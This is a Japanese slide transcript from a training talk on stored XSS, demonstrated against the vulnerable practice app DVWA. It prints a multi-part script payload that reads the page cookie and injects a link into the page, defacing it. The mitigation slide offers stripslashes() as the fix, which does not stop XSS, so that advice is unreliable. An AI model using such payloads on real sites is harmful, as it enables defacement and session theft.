XSS(stored)

DVWAを用いて、XSSについてのLTを行った時の資料です。

Transcript

1. XSS (stored)について 4403 井口尚磨 1
2. 攻撃手法 • 入力フォームにHTML文を入力 • DBにHTML文の挿入 • 攻撃者の好きなサイトが作成 2
3. 事前調査 ・HTML文を入力してみる ・<h2>タグで囲む 3
4. HTML文の埋め込み <!-- 変数設定--> <script>d=document;k=d.cookie;c="click"</script> <script>u="twitter.com?";</script> <!-- アンカータグ作成--> <script>a=d.createElement("a")</script> <script>a.href=u;a.innerText="help!!!!!!"</script> <!-- 埋め込み先指定--> <script>p=d.getElementsByTagName("table")</script> <!-- 埋め込み--> <script>p[0].appendChild(a)</script> 4
5. HTML文の埋め込み • 掲示板には文字数制限 • メッセージの分割 • メッセージは未出力 5
6. 挙動の例 help!!!!の文字が表示 WEBページが改ざん 6
7. 対策法 • 入力文字は未知 → <script>タグの防御では不完全 • 入力文字をそのままサイトのHTML文に組み込むのが問題 → HTML文が入力されても認識させない ＄message = stripslashes( $message ); 7